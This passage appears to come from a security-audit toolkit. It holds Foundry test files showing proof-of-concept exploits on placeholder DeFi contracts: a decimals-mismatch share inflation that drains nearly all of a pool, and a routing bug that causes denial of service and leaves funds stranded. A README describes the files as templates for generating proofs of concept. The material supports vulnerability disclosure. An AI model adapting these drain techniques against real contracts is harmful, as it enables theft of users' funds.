    function transfer(address, uint256) external returns (bool);
    function decimals() external view returns (uint8);
}

interface IExampleCore {
    function whitelistValueTokens(address[] calldata _tokens) external;
    function updatePermissions(address _user, uint256 _newPermissionsMask) external;
    function isValueTokenWhitelisted(address token) external view returns (bool);
    function priceOracle() external view returns (address);
    function postActionDelay() external view returns (uint256);
}

interface IExamplePool {
    struct ClientVerification {
        bytes signature;
        uint128 validTill;
        uint8 tier;
    }

    struct WithdrawRequest {
        uint256 sharesToBurn;
        uint256 minOutputAmount;
        bytes32 salt;
        address poolAddr;
    }

    struct SignedWithdrawalRequest {
        WithdrawRequest body;
        bytes signature;
    }

    function depositForToken(uint256 _amountToInvest, ClientVerification calldata, address bearerToken) external;
    function withdraw(SignedWithdrawalRequest calldata) external;
    function valueToken() external view returns (address);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
    function getTotalCost() external view returns (uint256);
    function status() external view returns (uint8);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function ufarmFund() external view returns (address);
}

struct DataItem {
    uint256 timestamp;
    bytes32 feedId;
    bytes value;
}

interface IExamplePoolCallback {
    function quexCallback(uint256 receivedRequestId, DataItem memory response) external;
}

contract Example_PoolDrainTheft is Test {
    address constant PROTOCOL_CORE = address(0x3001);
    address constant PROTOCOL_CORE_OWNER = address(0x3002);
    address constant POOL = address(0x3003);
    address constant ORACLE_CALLBACK_SENDER = address(0x3004);
    address constant POOL_VALUE_TOKEN = address(0x3005);
    address constant INFLATION_TOKEN = address(0x3006);

    uint8 constant PERM_MEMBER = 0;
    uint8 constant PERM_VERIFY_CLIENT = 14;
    uint256 constant POOL_REQUEST_ID_SLOT = 525;

    bytes32 constant CLIENT_VERIFICATION_TYPEHASH =
        keccak256("ClientVerification(address investor,uint8 tier,uint128 validTill)");
    bytes32 constant WITHDRAW_TYPEHASH =
        keccak256("WithdrawRequest(uint256 sharesToBurn,bytes32 salt,address poolAddr,uint256 minOutputAmount)");

    IExamplePool pool = IExamplePool(POOL);

    address attacker;
    uint256 attackerPk;
    address verifier;
    uint256 verifierPk;

    uint256 constant BLOCK_WITH_VULNERABLE_STATE = 0;

    function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), BLOCK_WITH_VULNERABLE_STATE);

        (attacker, attackerPk) = makeAddrAndKey("attacker");
        (verifier, verifierPk) = makeAddrAndKey("kycVerifier");

        assertEq(pool.valueToken(), POOL_VALUE_TOKEN, "valueToken wrong");
        assertEq(IERC20Min(POOL_VALUE_TOKEN).decimals(), 6, "value token decimals");
        assertEq(IERC20Min(INFLATION_TOKEN).decimals(), 18, "inflation token decimals");
        assertFalse(IExampleCore(PROTOCOL_CORE).isValueTokenWhitelisted(INFLATION_TOKEN), "pre-whitelisted");
    }

    function test_depositForTokenDecimalMismatchMintsInflatedShares() public {
        uint256 preTotalCost = pool.getTotalCost();
        uint256 prePoolValueToken = IERC20Min(POOL_VALUE_TOKEN).balanceOf(POOL);

        address[] memory valueTokens = new address[](1);
        valueTokens[0] = INFLATION_TOKEN;
        vm.prank(PROTOCOL_CORE_OWNER);
        IExampleCore(PROTOCOL_CORE).whitelistValueTokens(valueTokens);

        uint256 verifierMask = (uint256(1) << PERM_MEMBER) | (uint256(1) << PERM_VERIFY_CLIENT);
        vm.prank(PROTOCOL_CORE_OWNER);
        IExampleCore(PROTOCOL_CORE).updatePermissions(verifier, verifierMask);

        uint256 depositAmount = 1e12;
        deal(INFLATION_TOKEN, attacker, depositAmount);
        vm.prank(attacker);
        IERC20Min(INFLATION_TOKEN).approve(POOL, type(uint256).max);

        IExamplePool.ClientVerification memory verif = _signClientVerification(
            attacker,
            5,
            uint128(block.timestamp + 1 hours)
        );

        // Short-circuit sendQuexRequest so the test does not depend on the live
        // oracle request-registry creating a new request id.
        vm.store(POOL, bytes32(POOL_REQUEST_ID_SLOT), bytes32(uint256(1)));

        vm.prank(attacker);
        pool.depositForToken(depositAmount, verif, INFLATION_TOKEN);

        DataItem memory depositNav = DataItem({
            timestamp: block.timestamp,
            feedId: bytes32(0),
            value: abi.encode(preTotalCost)
        });
        vm.prank(ORACLE_CALLBACK_SENDER);
        IExamplePoolCallback(POOL).quexCallback(1, depositNav);

        uint256 attackerShares = pool.balanceOf(attacker);
        uint256 postDepositSupply = pool.totalSupply();

        console2.log("attacker inflation token spent raw", depositAmount);
        console2.log("attacker shares minted", attackerShares);
        console2.log("pool totalSupply after", postDepositSupply);
        console2.log("attacker ownership bps", (attackerShares * 10_000) / postDepositSupply);

        assertGt(attackerShares * 100 / postDepositSupply, 90, "ownership under 90%");

        uint256 sharesToBurn = (prePoolValueToken * postDepositSupply * 999) / (preTotalCost * 1000);
        IExamplePool.SignedWithdrawalRequest memory signed = _signWithdraw(
            IExamplePool.WithdrawRequest({
                sharesToBurn: sharesToBurn,
                minOutputAmount: 0,
                salt: bytes32(uint256(0xdeadbeef)),
                poolAddr: POOL
            })
        );

        vm.prank(attacker);
        pool.withdraw(signed);

        vm.warp(block.timestamp + 2 days + 1);

        vm.prank(attacker);
        pool.withdraw(signed);

        vm.store(POOL, bytes32(POOL_REQUEST_ID_SLOT), bytes32(uint256(2)));

        vm.prank(attacker);
        pool.withdraw(signed);

        DataItem memory withdrawNav = DataItem({
            timestamp: block.timestamp,
            feedId: bytes32(0),
            value: abi.encode(preTotalCost)
        });
        vm.prank(ORACLE_CALLBACK_SENDER);
        IExamplePoolCallback(POOL).quexCallback(2, withdrawNav);

        uint256 attackerValueToken = IERC20Min(POOL_VALUE_TOKEN).balanceOf(attacker);
        uint256 poolValueTokenAfter = IERC20Min(POOL_VALUE_TOKEN).balanceOf(POOL);

        console2.log("attacker value token gained", attackerValueToken);
        console2.log("pool value token idle before", prePoolValueToken);
        console2.log("pool value token idle after", poolValueTokenAfter);
        console2.log("ratio stolen over deposited 1e18", (attackerValueToken * 1e18) / depositAmount);

        assertGt(attackerValueToken, (prePoolValueToken * 98) / 100, "drain below 98%");
        assertEq(IERC20Min(INFLATION_TOKEN).balanceOf(attacker), 0, "inflation token not spent");
        assertLe(poolValueTokenAfter, prePoolValueToken / 50, "pool value token not drained");
    }

    function _signClientVerification(
        address investor,
        uint8 tier,
        uint128 validTill
    ) internal view returns (IExamplePool.ClientVerification memory) {
        bytes32 structHash = keccak256(abi.encode(CLIENT_VERIFICATION_TYPEHASH, investor, tier, validTill));
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", pool.DOMAIN_SEPARATOR(), structHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(verifierPk, digest);
        return IExamplePool.ClientVerification({signature: abi.encodePacked(r, s, v), validTill: validTill, tier: tier});
    }

    function _signWithdraw(IExamplePool.WithdrawRequest memory body)
        internal
        view
        returns (IExamplePool.SignedWithdrawalRequest memory)
    {
        bytes32 structHash = keccak256(
            abi.encode(WITHDRAW_TYPEHASH, body.sharesToBurn, body.salt, body.poolAddr, body.minOutputAmount)
        );
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", pool.DOMAIN_SEPARATOR(), structHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerPk, digest);
        return IExamplePool.SignedWithdrawalRequest({body: body, signature: abi.encodePacked(r, s, v)});
    }
}
```
```

## examples/Example_Routing_dos.t.sol

```solidity
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

// ILLUSTRATIVE EXAMPLE

import { Test, console2 } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IExampleRouterTypes {
    struct BaseRequest {
        uint256 fromToken;
        address toToken;
        uint256 fromTokenAmount;
        uint256 minReturnAmount;
        uint256 deadLine;
    }
    struct RouterPath {
        address[] mixAdapters;
        address[] assetTo;
        uint256[] rawData;
        bytes[] extraData;
        uint256 fromToken;
    }
    struct PMMSwapRequest {
        uint256 pathIndex;
        address payer;
        address fromToken;
        address toToken;
        uint256 fromTokenAmountMax;
        uint256 toTokenAmountMax;
        uint256 salt;
        uint256 deadLine;
        bool isPushOrder;
        bytes extension;
    }
}

interface IExampleRouter is IExampleRouterTypes {
    function smartSwapByOrderId(
        uint256 orderId,
        BaseRequest calldata baseRequest,
        uint256[] calldata batchesAmount,
        RouterPath[][] calldata batches,
        PMMSwapRequest[] calldata extraData
    ) external payable returns (uint256 returnAmount);
}

contract Example_RoutingDoS is Test {
    address constant DEX_ROUTER = address(0x2001);
    address constant TOKEN_APPROVE_PROXY = address(0x2002);
    address constant TOKEN_APPROVE = address(0x2003);
    address constant BUGGY_ADAPTER = address(0x2004);
    address constant INPUT_TOKEN = address(0x2005);
    address constant OUTPUT_TOKEN = address(0x2006);

    uint256 constant D_FLAG = 1 << 247;

    IExampleRouter router;
    IERC20 inputToken;
    IERC20 outputToken;
    address attacker;

    function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL"));

        router = IExampleRouter(DEX_ROUTER);
        inputToken = IERC20(INPUT_TOKEN);
        outputToken = IERC20(OUTPUT_TOKEN);
        attacker = makeAddr("attacker");

        deal(INPUT_TOKEN, attacker, 10 ether, true);
    }

    function test_route_reverts_minReturnNotReached() public {
        vm.startPrank(attacker);
        inputToken.approve(TOKEN_APPROVE, type(uint256).max);

        uint256 amountIn = 1 ether;

        IExampleRouter.BaseRequest memory baseRequest = IExampleRouter.BaseRequest({
            fromToken: uint256(uint160(INPUT_TOKEN)),
            toToken: OUTPUT_TOKEN,
            fromTokenAmount: amountIn,
            minReturnAmount: 1,
            deadLine: block.timestamp + 600
        });

        uint256[] memory batchesAmount = new uint256[](1);
        batchesAmount[0] = amountIn;

        IExampleRouter.RouterPath[][] memory batches = _buildRoute(0);

        IExampleRouter.PMMSwapRequest[] memory extraPmm = new IExampleRouter.PMMSwapRequest[](0);

        uint256 inputBefore = inputToken.balanceOf(attacker);

        vm.expectRevert(bytes("Min return not reached"));
        router.smartSwapByOrderId(1, baseRequest, batchesAmount, batches, extraPmm);

        vm.stopPrank();

        assertEq(inputToken.balanceOf(attacker), inputBefore, "input consumed");
        assertEq(outputToken.balanceOf(attacker), 0, "output delivered");

        console2.log("revert proves DoS on route", amountIn);
    }

    function test_route_succeeds_strands_output_on_adapter() public {
        vm.startPrank(attacker);
        inputToken.approve(TOKEN_APPROVE, type(uint256).max);

        uint256 amountIn = 1 ether;

        IExampleRouter.BaseRequest memory baseRequest = IExampleRouter.BaseRequest({
            fromToken: uint256(uint160(INPUT_TOKEN)),
            toToken: OUTPUT_TOKEN,
            fromTokenAmount: amountIn,
            minReturnAmount: 0,
            deadLine: block.timestamp + 600
        });

        uint256[] memory batchesAmount = new uint256[](1);
        batchesAmount[0] = amountIn;

        IExampleRouter.RouterPath[][] memory batches = _buildRoute(0);

        IExampleRouter.PMMSwapRequest[] memory extraPmm = new IExampleRouter.PMMSwapRequest[](0);

        uint256 inputAttackerBefore = inputToken.balanceOf(attacker);
        uint256 outputAttackerBefore = outputToken.balanceOf(attacker);
        uint256 outputAdapterBefore = outputToken.balanceOf(BUGGY_ADAPTER);

        router.smartSwapByOrderId(1, baseRequest, batchesAmount, batches, extraPmm);

        vm.stopPrank();

        uint256 inputTaken = inputAttackerBefore - inputToken.balanceOf(attacker);
        uint256 outputReceived = outputToken.balanceOf(attacker) - outputAttackerBefore;
        uint256 outputStranded = outputToken.balanceOf(BUGGY_ADAPTER) - outputAdapterBefore;

        assertEq(inputTaken, amountIn, "input not charged");
        assertEq(outputReceived, 0, "output delivered");
        assertGt(outputStranded, 0, "nothing stranded");

        console2.log("input taken from attacker", inputTaken);
        console2.log("output delivered to attacker", outputReceived);
        console2.log("output stranded on adapter", outputStranded);
    }

    function _buildRoute(uint256 minOut) private pure returns (IExampleRouter.RouterPath[][] memory batches) {
        address[] memory mixAdapters = new address[](1);
        mixAdapters[0] = BUGGY_ADAPTER;

        address[] memory assetTo = new address[](1);
        assetTo[0] = BUGGY_ADAPTER;

        uint256[] memory rawData = new uint256[](1);
        rawData[0] = (uint256(10_000) << 160) | uint256(uint160(INPUT_TOKEN));

        bytes[] memory extraData = new bytes[](1);
        extraData[0] = abi.encode(D_FLAG | (minOut & ((1 << 128) - 1)));

        IExampleRouter.RouterPath memory path = IExampleRouter.RouterPath({
            mixAdapters: mixAdapters,
            assetTo: assetTo,
            rawData: rawData,
            extraData: extraData,
            fromToken: uint256(uint160(INPUT_TOKEN))
        });

        IExampleRouter.RouterPath[] memory hop = new IExampleRouter.RouterPath[](1);
        hop[0] = path;

        batches = new IExampleRouter.RouterPath[][](1);
        batches[0] = hop;
    }
}
```
```

## examples/README.md

# Example PoCs

These are reference files that Claude reads when generating your PoC. They pattern-match your finding's shape to a closest-match example and produce output in the same style.

You never need to modify, run, or adapt these files. The addresses are placeholders and the tests don't execute.

## Example_FreezeHistorical.t.sol

Category (a): the vulnerable state is already reached on-chain through block progression or a past action that cannot be replayed. Severity comes entirely from the existing frozen state.

The test forks at a post-vulnerable block, attempts recovery at the point it should be possible, and proves it reverts. Paired with a quantification of the stranded value.

## Example_RoutingDoS.t.sol

Category (b): adapter logic error produces DoS or fund stranding on every affected route. Severity comes from every future user being affected.

Two test functions. First proves the DoS with `vm.expectRevert`. Second proves fund stranding by showing attacker input is consumed, output is zero, and stranded balance appears on the adapter.

## Example_PoolDrainTheft.t.sol

Category (b): decimals mismatch enables share inflation and drain via a trivial deposit. Severity comes from every future depositor being at risk.

The admin whitelists the inflating token via the real permission path, attacker makes a trivial-value deposit, inflated shares are minted, attacker withdraws and receives a disproportionate amount of the pool's real principal. Proven with before/after balance delta on the attacker plus a pool-near-zero assertion.

